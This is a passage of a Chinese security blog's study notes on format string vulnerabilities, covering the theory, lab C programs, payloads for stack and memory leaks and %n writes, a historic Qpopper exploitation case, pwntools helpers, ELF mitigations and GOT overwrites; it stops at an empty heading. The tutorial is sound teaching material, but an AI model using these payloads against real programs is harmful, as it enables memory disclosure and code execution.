Fanxs's Blog

【整理笔记】格式化字符串漏洞梳理

字数统计: 11.2k阅读时长: 46 min
2018/10/23 Share

前言:
格式化字符串漏洞是比较古老的漏洞了,已经被研究了好多年,在目前广泛的ASLR和vsprintf/vprintf等新函数的保护下,这个漏洞也已经不常见。写这个只是因为,在之前读书时,专门读了这个漏洞的文章,想想当时学的那么认真,没有做啥整理就忘光了有点可惜,所以就重新复习了一下做一下学习整理。

0. 简介

格式化字符串漏洞是广泛存在于基于C/C++的可执行文件中的漏洞,于2000年被纰漏。这个漏洞是典型的二进制常见漏洞之一,它的危害甚至超过了缓冲区溢出。

1. 原理

格式化函数是一种特殊的ANSI C函数,它们从格式化字符串中提取参数,并对这些参数进行处理。而格式化字符串将C语言的主要数据类型,以易于阅读的方式保存在字符串里。从程序输出数据、打印错误信息到处理字符串数据,格式化字符串几乎出现在所有的C程序中。

1.1 简介

格式化字符串漏洞,简单说,就是:如果一个攻击者能给格式化函数提供恶意编造的格式化字符串,那么这里就可能存在格式化字符串漏洞。攻击者能通过这个漏洞,改变格式化函数的行为,甚至可能控制整个目标可执行文件。

在下面的这个程序中,字符串user是可由攻击者提供的,他能控制提供给printf函数的所有参数:

1
2
3
int func(char *user){
printf(user); // 存在格式化字符串漏洞
}

实现同样功能的,安全代码如下:

1
2
3
int func(char *user){
printf(“%s”,user); // 用户无法控制格式化字符串
}

1.2 格式化函数一览

格式化字符串漏洞出现于格式化函数中。

下面列举了一些ANSI C 标准中定义的一系列格式化函数。还有一些常见的却不在ANSI C标准中定义的函数,因为他们基于这些ANSI C定义的格式化函数,所有也可能受格式化字符串漏洞的影响。

格式化函数名 功能 安全代码例子
fprintf 输出到file流 fprintf(pFile, “UserId = %d”, userId);
printf 输出到stdout流 printf(“userId=%d”,userId);
sprintf 输出到字符串中 sprintf(buffer, ”userId=%d”, userId);
snprintf 输出到字符串中(长度控制) snprintf ( buffer, 100, “userId=%d”, userId);
vfprintf 输出到file流(从va_arg结构体) vfprintf (stream, format, args);
vprintf 输出到stdout流(从va_arg结构体) vprintf (format, args);
vsprintf 输出到字符串中(从va_arg结构体) vsprintf (buffer,format, args);
vsnprintf 输出到字符串中(长度控制,从va_arg结构体) vsnprintf (buffer,256,format, args);
相关的函数
setproctitile 设置argv[] /
syslog 输出到syslog功能 /
其他如err,verr,warn,vwarn / /
  • 同样用于输出的puts(),fputs()等函数,非格式化函数。放入格式化参数,将直接打印出来。

1.3 格式化函数的用处

格式化字符串漏洞几乎出现所有的C程序中,是因为格式化函数的用处是如此的常见和重要。格式化函数常用于提供以下的功能:
• 将简单的C语言数据类型转换为字符串的表现形式
• 定义数据的展示格式
• 处理结果字符串(输出道stderr,stdout,syslog等)

格式化函数工作方式为:
• 格式化字符串控制了格式化函数的功能
• 定义了输出数据中的参数数据类型
• 函数参数保存在栈中
• 参数传递方式为传值或传引用

调用格式化函数的程序:
• 必须要知道要在栈中传递多少个参数。(为了在格式化函数返回时修正栈位置)

1.4 格式化字符串是啥

格式化字符串是一种包含了文字和格式参数的特殊的ASCIIZ字符串。
如:

1
printf ("The magic number is: %d\n", 1911);    // 第一个参数的字符串就是格式化字符串

这里的%d为格式参数。

以下列出了一些用到的格式参数:

参数 输出 参数传递方式 示例
%d 十进制数字 传值 printf(“%d”, 1);
%u 无符号十进制数字 传值 printf(“%u”, 1);
%x 十六进制数字 传值 printf(“%x”, 0x123);
%c 单个字符 传值 printf(“%c”, “a”);
%s 字符串 传引用 printf(“%s”, string);
%n 已输出的字节数(DWORD) 传引用 printf(“%n”, &i);
%hn 已输出的字节数(WORD) 传引用 printf(“%hn”, &i);
%p 按地址长度十六进制输出数据 传值 printf(“%p”, ptr);

Note:
特殊的参数: %n$, 用于指以固定格式输出的第n个数。
( 如 %5$x,指用十六进制输出的第5个数。程序会直接读到第5个位置,不会影响读取的地址,即:
printf(“%08x-%08x-%5$x-%08x”),会打出1-2-5-3位置的数据 )

1.5 栈布局

格式化函数从栈中取出格式化字符串所要的数据,比如:

1
printf ("Number %d has no address, number %d has: %08x\n", i, a, &a);

这时的栈布局是这样的:

具体例子:

1
2
3
int a = 10;       // 地址 0xdeadbeef
int i = 11;
printf ("Number %d has no address, number %d has: %08x\n", i, a, &a); // 格式化字符串地址0xaabbccdd

  1. 格式化函数(printf)读取参数格式化字符串,一个字符一个字符地读取。如果读到的字符不为%,则将字符复制到输出数据。若读到的字符为%,则后一个字符设定了请求参数的类型(%d数字,%c字符…),函数根据数据类型,去栈上取相关的值,复制到输出数据。%%用于打印字符’%’。一直读到0x00,视作格式化字符串结束。
  2. 函数读到了第一个格式参数%d,取出栈上的下一个数据(11),复制到输出数据。
  3. 函数读到了第二个格式参数%d,取出栈上的下一个数据(10),复制到输出数据。
  4. 函数读到了第三个格式参数%08x,取出来栈上的下一个数据(0xdeedbeef),复制到输出数据。

这里三个格式参数都是以传值的方式来传递数据。若函数读到了%s和%n,则会去访问引用的地址,取出引用数据的值。

当程序员由于偷懒或疏忽,没有严格按照格式化函数的形参标准去调用格式化函数:

1
如 printf(user);  // 而不是printf(“%s”,user)

就造成攻击者能输入恶意数据,放入栈中,被格式化函数认为是合理的格式化字符串。

Note:

  1. 编译器无法判断代码合法性。printf等格式化函数经常是参数长度可变的函数,因此仅仅看参数数量,编译器无法判断其合法性。
    比如:

    1
    2
    3
    4
    5
    6
    printf(“Hello World”);
    printf(“Hello World%s”, input);
    printf(output, “Hello World%s”,input);
    printf(output, “Hello World%s:%d”,input,num);
    ……
    都是可行的。
  2. printf函数本身无法检测到问题。函数直接从栈上或寄存器中获得函数参数,它并不知道调用者提供了多少个参数。

1.6 总结

所谓的格式化字符串漏洞,要点有二:

  1. 程序中存在格式化函数。
  2. 程序员的疏忽造成攻击者能直接控制格式化字符串。

2. 漏洞危害和利用方法

这里再强调一遍这个漏洞的秘诀:

1
格式化字符串控制着格式化函数的行为。

以下写了这个漏洞能造成的危害,以及利用手法。这一章所有的攻击,都以printf函数为例子。

2.1 让程序崩溃

一个最简单的应用,就是让程序恶意崩溃。攻击者可利用以下的payload例子来引起崩溃:

1
printf ("%s%s%s%s%s%s%s%s%s%s%s%s");

攻击者伪造格式化字符串”%s%s%s%s%s%s%s%s%s%s%s%s” 作为输入数据。这时printf读到这个格式化字符串,会连续12次从栈中取数据作引用地址,访问地址取出数据。如果程序访问到非法地址,就会触发崩溃。

在所有UNIX系统中,内核会捕捉进程的非法指针访问,并对进程发出SIGSEGV信号终止程序。

可见返回了Segmentation Fault(SIGEGV)错误,最后的“Ending”语句没有被打印出来。

2.2 查看栈数据

访问栈内容,直接让printf输出内存数据:

1
printf ("%08x.%08x.%08x.%08x.%08x\n");

payload获取栈里接下来的5个数据,以8位16进制的形式输出。

这里输出了一部分的栈数据,从当前栈位置到栈顶。栈数据的泄露可以提供很多关于程序流程和局部函数变量的信息,可能能帮助攻击者得到下一步攻击的相关偏移量或数据。

实验
C程序:

1
2
3
4
5
6
7
8
#include <stdio.h>

int main(int argc, char **argv){
int a[8]={43690,43690,43690,43690,43690,43690,43690,43690};
char *message = "%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x\n";
printf(message);
printf("Ending");
}

用gcc编译成32位的后,在GDB中执行。在程序调用printf前打断点,查看内存的数据:

可以明显看到打出来的栈数据中有我们定义的数组:

(0x0000aaaa = 43690)

而栈顶0x565556d0则指向了格式化字符串:

25-30-38-78-38 即为%0x8,

运行后,可看到程序输出了栈中的数据,造成了栈中数据的泄露:

Note:
若程序被编译为64位,输出数据时会跳着读取内存,至今不知为何:

2.3 查看任何位置的内存数据

既然可以利用漏洞去读栈数据了,那下一步要思考的,就是是否能利用漏洞来读取任意内存地址的数据。要做到这一点,我们需要提供一个内存地址,让格式化字符串函数去访问地址。

现在我们有两个问题:

  1. 需要一个格式化参数,去获取对应地址的数据。
  2. 需要一个方法,提供内存地址给格式化函数。

从之前的漏洞利用中,我们就知道可以利用”%s”格式化参数来获取对应地址的数据。现在第一个问题解决了,剩下的就是怎么将一个内存地址,放在正确的位置,让格式化函数读取。

在很多时候,用户输入的数据本身就在栈上。比如:

1
2
3
4
5
6
7
8
9
#include <stdio.h>

int main(int argc, char **argv){
int a[8]={43690,43690,43690,43690,43690,43690,43690,43690};
char message[150];
scanf("%s", message);
printf(message);
printf("Ending");
}

程序先从用户中获得输入的数据,放到message变量中,再调用printf。可见message数据就在栈中。

攻击者可通过类似的payload:

1
AAAAAAAA%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%s

若%08x的个数恰当,就能在正好读到message缓冲区时,让%s取到message开头的”AAAAAAAA“地址,以此输出”AAAAAAAA”地址的对应数值。也可以使用AAAAAAAA%12$s。

实验:
运行程序:

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>

int main(int argc, char **argv){
int a[8]={43690,43690,43690,43690,43690,43690,43690,43690};
char message[150];
print("Input:\n");
scanf("%s", message);
printf("Result:\n");
printf(message);
printf("\n");
}

输入:

1
AAAAAAAA%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x

可见:

在输出的内存数据中,读到了缓冲区数据,读到了我们输入的AAAAAAAA。这里打印出来的”41414141”,是由第17个%08x打印出来的,那我们尝试把第17个%08x改为%s:

1
00000000%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%s,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x


运行后读到了非法地址返回内存非法访问错误。

实验2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char test[60] = "It's a test for format string vulnerability";
char key[10];
void setKey();

int main(int argc, char **argv){
setKey();
int a[8]={43690,43690,43690,43690,43690,43690,43690,43690};
char* secretKey = key;
/*
do things with secretkey balabala....
*/
char message[150];
printf("Input:\n");
scanf("%s", message);
printf("Result:\n");
printf(message);
printf("\n");
}

void setKey(){
memcpy(key,"ABCDEFGHI",10);
}

程序中用全局变量key进行赋值:

1
char* secretKey = key;

经逆向分析可知此key在堆中的地址是:0x56557010,转为字符即是`pUV
算准%s的位置,写入payload:

1
AAAAAAAAAA`pUV%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x-%s-%08x,%08x,%08x,%08x,%08x

可见成功读到了0x56557010地址的值:

Note:
由于ASLR, 按以上步骤可能无法用以上payload复现。

2.4 覆盖任意位置的内存数据

2.4.1 触发缓冲区溢出

为了缓解缓冲区溢出或实现其他的功能,有时会有以下类似的程序:

1
2
3
4
5
6
{
char outbuf[512];
char buffer[512];
sprintf (buffer, "ERR Wrong command: %400s", user);
sprintf (outbuf, buffer);
}

• 第一个sprinf将设定的字符串”ERR…”语句和用户输入进行拼接后放入buffer。
• 第二个sprintf则将buffer的数据放入outbuffer中。

由于第一个sprintf有400字符的输入限制,一般情况下无法进行缓冲区溢出。但sprintf本身是格式化函数,攻击者可直接输入格式化字符串,利用格式化字符串漏洞来造成缓冲区溢出。
payload: (小端)

1
%497d\x3c\xd3\xff\xbf<nops><shellcode>

%497会形成长度为497的字符串。再加上”ERR…”的19个字符,为516个字符,占栈516bytes。sprintf将这516个字节复制到outbuf。516bytes覆盖了output数组本身长度的512bytes和栈中保存的ebp 4bytes,再将随后的0xbfffd33c覆盖返回地址,形成了缓冲区溢出漏洞。

这个利用方法主要利用格式化函数和用户可输入格式化字符串,来触发目标函数的缓冲区溢出漏洞。在bftpd,Qpopper等多处都发现了相关的漏洞。如Qpopper 2.53版本的缓冲区溢出漏洞:https://www.xuebuyuan.com/801539.html?mobile=1

Qpopper是使用广泛的pop3服务器,允许用户通过pop3客户端来读取他们的邮件。在提供邮件信息时,pop_ uidl.c文件提取了收到邮件中的id、X-UIDL、from邮箱等信息,发给用户的pop3客户端。
pop_uidl.c:

1
2
3
4
5
第150行处: 
sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
if (nl = index(buffer, NEWLINE)) *nl = 0;
sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p, mp));
return (pop_msg (p,POP_SUCCESS, buffer));

pop_msg:

1
pop_msg(POP *p,  int stat, const char *format,...)

pop_msg函数中,会调用snprintf来输出邮件信息。snprintf的参数就是pop_msg的第三个参数format,包含了msg_id, X-UIDL,长度,from邮箱数据。

利用案例
攻击者发送邮件到受害者的邮箱,邮件信息为:

1
2
3
4
5
6
7
8
9
10
11
MAIL FROM:<hakker@evil.org>
200 Ok
RCPT TO:<luser@host.withqpop253.com>
200 Ok
data
200 Okey, okey. end with "."
Subject: still trust qpop?=/
X-UIDL: AAAAAAAAAAAAAAAA
From: %p%p%p%p%p%p%p

test

受害者登上pop3客户端后,从Qpopper服务器中读取邮件信息。

1
2
3
4
5
6
7
+OK QPOP (version 2.53) at b0f starting. <666.666@b0f>
USER luser
+OK Password required for luser.
PASS secret
+OK luser has 3 messages (1644 octets).
euidl 3
+OK 2 AAAAAAAAAAAAAAAA 530 0xbfbfc9b00x804fd740xbfbfc9b00x2120x8052e5e0xbfbfd1e80x8057028

得到的邮箱数据:

1
2
2 AAAAAAAAAAAAAAAA 530 0xbfbfc9b00x804fd740xbfbfc9b00x2120x8052e5e0xbfbfd1e80x8057028
msg_id, X-UIDL, 长度, from邮箱%p%p%p%p字符串导致的内存数据被输出

虽然用了snprintf,但可通过2.4.2的方法,进行缓冲区溢出的数据覆盖。  

2.4.2 利用%

之前所有的利用方法,都仅止步于“查看”数据上,因为payload里的%s, %x, %p等,都只能满足攻击者dump出内存数据的意图。既然之前说到,格式化字符串控制着格式化函数的行为,那就代表着这个漏洞的利用不仅仅能单纯地查看数据。我们把目光移到一个特殊的格式化参数%n:

1
2
3
int i;
printf("foobar%n\n", (int *) &i);
printf("i = %d\n",i);

%n格式化参数的作用为,将已输出的字符数,写入提供的参数中。

从输出结果可见,变量i被赋值为6,为”foobar”的长度。由此,攻击者就掌握了一个可以写入数据的方法 – %n。
结合2.3处查看任何位置内存数据的方法,只要格式参数的数量恰当,就能让某一个格式参数正好对上格式化字符串头部的地址,如:

1
\xc0\xc8\xff\xbf_%08x.%08x.%08x.%08x.%08x.%n

若%n成功对上了开头的0xbfffc8c0,就能在0xbfffc8c0地址处,写入已输出的字符数。

既然我们控制着格式化字符串,要修改输出的字符数,也非常简单。通过参数%nu(n位长的数字),我们可以增加输出的字符数:

1
2
3
4
5
int main(int argc, char **argv){
int a;
printf("%10u%n", 7350, &a);
printf("\n a=%d",a);
}

输出:

此处7350用10位长的数字格式输出,不足的位用空位补全。可见变量a的值就为10。那么靠%nu或者%nd等格式参数,就可以把字符数增加到我们想要的值。

但是如果要写入的数据过大,特别是地址值,仅靠以上的方法就不够了。如果我们要在某一个地址写入0xFFFFFFFF,我们不可能要写入4294967295个字符,那么要利用%n写入数据就要另辟门道。这里可用到%hn/%hhn。%hn是向目标地址写入两个字节的数据,%hhn则写入一个字节的数据。
假如:

1
2
我们要在地址:  0x55556666
写入数据: 0x12345678

那么方法是:(小端)

1
2
3
4
1. 120字符数 %hhn – 地址55556666 – 写入了0x78
2. 342字符数 %hhn – 地址55556667 – 写入了0x56 (342是0x156,由于只写入1个字节,丢弃了高位1)
3. 564字节数 %hhn – 地址55556668 – 写入了0x34 (564 – 0x234,丢弃高位)
4. 786字节数 %hhn – 地址55556669 – 写入了0x12(786 – 0x312,丢弃高位)

若栈上buffer的距离为6:

要塞进垃圾字节,是因为用到%nu来凑字符数时,需要消耗内存位。垃圾字节可为任意值。

用%hn/%hhn来进行写入数据并不是万用的,在某些老版本的GNU C库(如libc5)并不支持%hn/%hnn。论文”Exploiting Format String Vulnerabilities”里,提出了类似的方法。不用%hnn,可使用地址多次写入覆盖。

这个方法会覆盖掉高位的3bytes数据。

3. 漏洞相关

3.1 pwntools

http://pwntools.readthedocs.io/en/stable/fmtstr.html

pwntools是一组Python库,经常用于CTF PWN中。可用于建立起进程,与进程交互,以及为一些漏洞利用提供帮助。
和格式化字符串相关的主要为pwnlib.fmtstr,其中有一个主要的类:

3.1.1 FmtStr:

FmtStr类是一个自动化的格式化字符串漏洞利用的类。

1
2
3
4
5
class pwnlib.fmtstr.FmtStr(execute_fmt, offset=None, padlen=0, numbwritten=0):
execute_fmt (function) – function to call for communicate with the vulnerable process
offset (int) – the first formatter’s offset you control # 到buffer的栈中偏移量,参考2.3
padlen (int) – size of the pad you want to add before the payload
numbwritten (int) – number of already written bytes # 已经写入了的字节数

这样能简单生成这个类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Assume a process that reads a string
# and gives this string as the first argument
# of a printf() call
# It do this indefinitely
p = process('./vulnerable')

# Function called in order to send a payload
def send_payload(payload):
print("payload = %s" % repr(payload))
p.sendline(payload)
return p.recv()

# Create a FmtStr object and give to him the function
format_string = FmtStr(execute_fmt=send_payload)

这个类有两个方法,用于写入数据:

1
2
execute_writes() : 生成payload发给目标程序
write(addr, data) : 生成命令“利用漏洞在地址addr写入data数据”

利用例子:

1
2
3
4
5
6
7
def send_fmt_payload(payload):
print repr(payload)

f = FmtStr(send_fmt_payload, offset=5)
f.write(0x08040506, 0x1337babe) # 在0x08040506处写入0x1337babe
f.execute_writes() # 根据上一行,生成payload并发送
'\x06\x05\x04\x08\x07\x05\x04\x08\x08\x05\x04\x08\t\x05\x04\x08%174c%5$hhn%252c%6$hhn%125c%7$hhn%220c%8$hhn'

FmtStr.offset则会自动算好offset:

1
2
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset

3.1.2 fmtstr_payload:

fmtstr_payload也是一个经常用到的函数,能根据提供的参数,生成任意地址写入数据的payload。

1
2
3
4
5
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') → str
offset (int) – the first formatter’s offset you control # 到buffer的栈中偏移量,参考2.3
writes (dict) – dict with addr, value {addr: value, addr2: value2} # 想要写入的{地址:数值}字典
numbwritten (int) – number of byte already written by the printf function # 已经写入了的字节数
write_size (str) – must be byte, short or int. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n) # 写入数据的单位(按byte大小一字节一字节地写入,还是按short/int)

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
context.clear(arch = 'amd64')
print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int'))
'\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00%322419374c%1$n%3972547906c%2$n'

print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short'))
'\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00%47774c%1$hn%22649c%2$hn%60617c%3$hn%4$hn'

print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte'))
'\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00%126c%1$hhn%252c%2$hhn%125c%3$hhn%220c%4$hhn%237c%5$hhn%6$hhn%7$hhn%8$hhn'

>>> context.clear(arch = 'i386')
>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int'))
'\x00\x00\x00\x00%322419386c%1$n'

>>> print repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short'))
'\x00\x00\x00\x00\x02\x00\x00\x00%47798c%1$hn%22649c%2$hn'

配合fmtstr可以直接自动化利用格式化字符串漏洞:

1
2
3
4
5
6
7
8
9
10
p = process('./vulnerable')
def exec_fmt(payload):
p.sendline(payload)
return p.recvall()

autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
addr = 0x11111111
payload = fmtstr_payload(offset, {addr: 0x1337babe})
p.sendline(payload)

3.2 准备工具

3.2.1 checksec

checksec用于查看可执行文件的一些属性,如PIE,RELRO,Canaries,Fortify Source等。

这里使用了gdb的peda插件的checksec功能。github上checksec单独脚本:

https://github.com/slimm609/checksec.sh

3.2.2 静态链接

静态连接库就是把(lib)文件中用到的函数代码直接链接进目标程序,程序运行的时候不再需要其它的库文件。动态链接就是把调用的函数所在文件模块和调用函数在文件中的位置等信息链接进目标程序,程序运行的时候再从库中寻找相应函数代码。静态链接库与动态链接库都是共享代码的方式,如果采用静态链接库,则无论你愿不愿意,lib 中的指令都全部被直接包含在最终生成的可执行文件中

1
2
ldd elf
not a dynamic executable

在利用格式化字符串漏洞前,要检测ELF是否为静态链接,以上提醒则表示为静态链接。静态链接的ELF文件由于不需要和so文件的函数入口建立mapping,无法覆盖GOT表来进行利用。

3.3.3 Libcdb.com

在覆盖GOT时,我们可以通过一个函数的地址,靠两个函数地址间的偏移量,来推算出另一个函数的地址。但是,Linux内核是不断在更新的,其中libc的版本也在不断地更新,函数之间的相对偏移也可能发生变化。若不知道libc的版本,也就无法确定函数间的偏移量。

解决方法是,若我们拥有从Linux发行以来所有版本的 libc 文件,且通过格式化字符串漏洞打出至少两个函数在目标主机中的真实地址,就可以根据两个已知函数的地址的偏移来推算出libc的版本。

http://libcdb.com/

就是用于实现这个目的的网站。Pwntools 中的 DynELF 就是根据这个原理运作的。通过这个网站,我们就可以得到libc.so的版本。

3.3 ELF的安全机制

在对一个ELF使用checksec时,就是要检查一个ELF采取的安全机制。

checksec中检查了5项:

1
CANARY, FORTIFY, NX, PIE, RELRO

以下做了简单的介绍,以及对格式化字符串漏洞利用的影响。

3.3.1 CANARY

参考:https://access.redhat.com/blogs/766093/posts/3548631

CANARY是为了解决缓冲区溢出提出的一种防御机制。缓冲区溢出漏洞的基本利用为覆盖返回地址,但覆盖的过程是连续的,会同时覆盖返回地址前的一连串数据。CANARY机制就是同于检测出这样的现象。

Stack Canary机制,或是StackGuard,在每一个函数的栈中Frame Pointer(ebp)上,加入了一个Canary字段的数据。这个字段可能是固定的、随机值或随机值^返回地址,具体取决于Canary的实现。图右显示的Stack Canary出现在EBP和return address之间,具体情况有待考究。

在缓冲区溢出覆盖返回地址的过程中,会先后覆盖Canary,FP,返回地址。函数返回时,程序检测到Canary值被修改了,就会报错。Canary机制并不能根治缓冲区溢出漏洞,只能增加漏洞的利用成本,攻击者还是可以有方法绕过Canary的检测。

对于格式化字符串的漏洞,Canary机制的开启与否并不会产生任何的影响。
(在缓冲区溢出里补充吧)

3.3.2 FORTIFY

参考:https://access.redhat.com/blogs/766093/posts/3606481

Fortify提供了编译时和运行时对部分内存空间和字符串函数的保护,主要是为了防护缓冲区溢出和格式化字符串漏洞。在GCC中,Fortify将部分字符串函数和内存操控函数,替换为对应的*_chk函数,经过一些计算来防止溢出。如果检测到溢出,则终止程序。

若有大小为5的字符数组:

1
char buf[5];

对于以下:

1
2
memcpy (buf, foo, 5);
strcpy (buf, "abcd");

复制进buf的字符串大小是已知的,这时Fortify知道不会产生任何缓冲区溢出的问题,所以直接调用memcpy/strcpy。

1
2
memcpy (buf, foo, 6);
strcpy (buf, "abcde");

复制进buf的字符串大小已知,但明显超出了buf的大小,所以fortify在编译时就检测到了缓冲区溢出问题,产生warnings,并在runtime调用额外的检查。

1
2
memcpy (buf, foo, n);
strcpy (buf, bar);

编译器无法知道n的大小,这时Fortify会将memcpy和strcpy替换为_memcpy_chk和_strcpy_chk,在runtime检测缓冲区溢出。如果检测到缓冲区溢出,会调用__chk_fail()终止程序。

1
2
memcpy (p, q, n);
strcpy (p, q);

对于buf大小和复制字符的大小都无法得知的情况,Fortify无法进行保护。

Fortify对以下字符串和内存操作函数做了安全保护:

1
Memcpy, memset, stpcpy, strcpy, strncpy, strcat, strncat, sprintf, snprintf, vsprintf, vsnprintf, gets()

开启Fortify要在编译程序时,设置-D_FORTIFY_SOURCE宏。Fortify设置有两个等级,-D_FORTIFY_SOURCE=2会包含更深入的函数检查。编译时设置-D_FORTIFY_SOURCE=1 和设置-D_FORTIFY_SOURCE=2的区别是:

1
2
3
4
5
6
7
struct S { 
struct T {
char buf[5];
int x;
} t;
char buf[20];
} var;

对于这样的结构体,strcpy (&var.t.buf[1], “abcdefg”) 只会在等级为2时,检测到缓冲区溢出。

同时,-D_FORTIFY_SOURCE=2包含了格式化字符串中%n的检测。当设置了Fortify等级为2时,包含%n的格式化字符串只允许处在只读的内存空间。在利用格式化字符串漏洞时,攻击者需要使用%n来写数据进内存,此时Fortify就可以检测出格式化字符串漏洞。(当且仅当-D_FORTIFY_SOURCE为2)

3.3.3 NX

NX的提出的初衷是为了解决缓冲区溢出。通过CPU硬件支持,在分页设置中对内存页的NX bit进行设置。为了解决缓冲区溢出中,攻击者可将shellcode写在栈上,直接覆盖return address执行栈上的shellcode的情况,NX机制限定了内存页“可写不可执行”,“可执行则不可写”。常说到的DEP也是一样的机制。

这个机制大家都太熟悉了,就不整理了。可见NX限制了通过格式化字符串漏洞在栈中写入SHELLCODE,覆盖address code的(和缓冲区溢出漏洞利用方法类似)利用途径。但对其他的利用方法没有影响。

3.3.4 PIE

参考:https://securityetalii.es/2013/02/03/how-effective-is-aslr-on-linux-systems/

为了进一步解决缓冲区溢出、格式化字符串等漏洞以及ROP,ASLR机制被提出来了。PIE(Position Independent Executables)为基于ASLR而编译的可执行文件。一个PIE文件和所有依赖的库,会在每次运行时,被加载在随机的虚拟内存地址。
在现在常见的Linux系统中,ASLR是默认开启的,而且所有的库(.so)都是编译为PIE,故每次so库加载时都会在随机的地址。但是对于非PIE的ELF,ASLR并不生效,也就是这时每一次加载这个ELF文件,都会在固定的基址上。

通过

1
ldd /bin/sh

可看到依赖库libc.so的基址在不停的变化。

若可执行文件为PIE,即使它存在格式化字符串漏洞,也无法获得GOT表、DTORs区域等的地址,难以利用。

3.3.5 RELRO

参考:http://tk-blog.blogspot.com/2009/02/relro-not-so-well-known-memory.html

在checksec中,判断RELRO机制的代码是:

1
2
3
4
5
6
7
8
9
if $readelf -l "$1" 2>/dev/null | grep -q 'GNU_RELRO'; then
if $readelf -d "$1" 2>/dev/null | grep -q 'BIND_NOW'; then
echo_message '\033[32mFull RELRO \033[m ' 'Full RELRO,' '<file relro="full"' ' "file": { "relro":"full",'
else
echo_message '\033[33mPartial RELRO\033[m ' 'Partial RELRO,' '<file relro="partial"' ' "file": { "relro":"partial",'
fi
else
echo_message '\033[31mNo RELRO \033[m ' 'No RELRO,' '<file relro="no"' ' "file": { "relro":"no",'
fi

在ELF文件中读取到相关字段来判断RELRO机制的情况。

RELRO机制是一个不那么有名的,用于防止内存被漏洞恶意篡改的机制。分为Partial RELRO和FULL RELRO:
Partial RELRO:

  • 用gcc –W,-z,relro 编译
  • ELF区块重新排序,让ELF的内部数据区域(.got,.dtors等)先于程序区块(.data和.bss)
  • 非PLT的GOT部分是只读
  • GOT部分依然可写
    Full RELRO:
  • 用gcc –Wl,-z,relro,-z,now编译
  • 包含Partial RELRO
  • 整个GOT可读 (可防止GOT被重写)
    在利用格式化字符串漏洞被前,需要确定RELRO,来判断是否可写GOT。

3.4 检测工具

检测格式化字符串漏洞常使用IDA里的一个插件,叫LazyIDA:

https://github.com/L4ys/LazyIDA

对于这样的一个简单程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(){
char buf[40];
char v1;
puts("WANT PLAY[Y/N]");
v1=getchar();
if(v1!=89)
exit(0);
puts("GET YOUR NAME:");
memset(buf,0,40);
scanf("%s",&buf);
puts("WELCOME ");
printf(buf);
printf("\n");
system("pause");
return 0;
}

明显存在格式化字符串漏洞:

将LazyIDA的py文件放进IDA的plugins后,就可以在IDA中使用相关功能。用IDA加载以上的exe,在任意函数处右键选择“Scan format string vulnerabilities”:

得到很多函数:

双击入函数后,可看到扫描出来的格式化字符串的漏洞处:

但是存在一定的误报,比如这里扫描出来的fprintf处就没有格式化字符串漏洞:

4. 进阶利用

4.1 返回到SHELLCODE

返回到SHELLCODE即和缓冲区溢出一样的方法,覆盖返回地址到shellcode。可通过%n覆盖返回地址,直接跳到格式化字符串的buffer,在字符串中放入shellcode。也可利用%n写入shellcode。这种方法只适用于NX保护未开启时。

Shellcode可通过pwntools生成,使用shellcraft模块。

4.2 GOT覆盖

每一个ELF可执行程序的进程空间中,都有一片特殊的空间—GOT表(Global Offset Table)。这一片空间存着可执行程序中用到的每一个输入函数的函数入口地址。Windows的PE文件同样有这样区域,在PE的文件头中记载着的输入表(IAT)。通过格式化字符串漏洞的任意读写能力,我们可以覆盖一个函数的GOT地址,用另一个函数来覆盖原函数的行为。

通过以下命令可看到ELF中的GOT:

1
objdump --dynamic-reloc binary

当这个ELF程序调用printf时,会从GOT中得到printf函数的地址,再进行调用。如果我们可以覆盖GOT表中printf的地址为system()函数的地址,那么就可能在程序计划调用printf时,实际调用了system(),来为我们执行命令。

4.3 DTORS覆盖

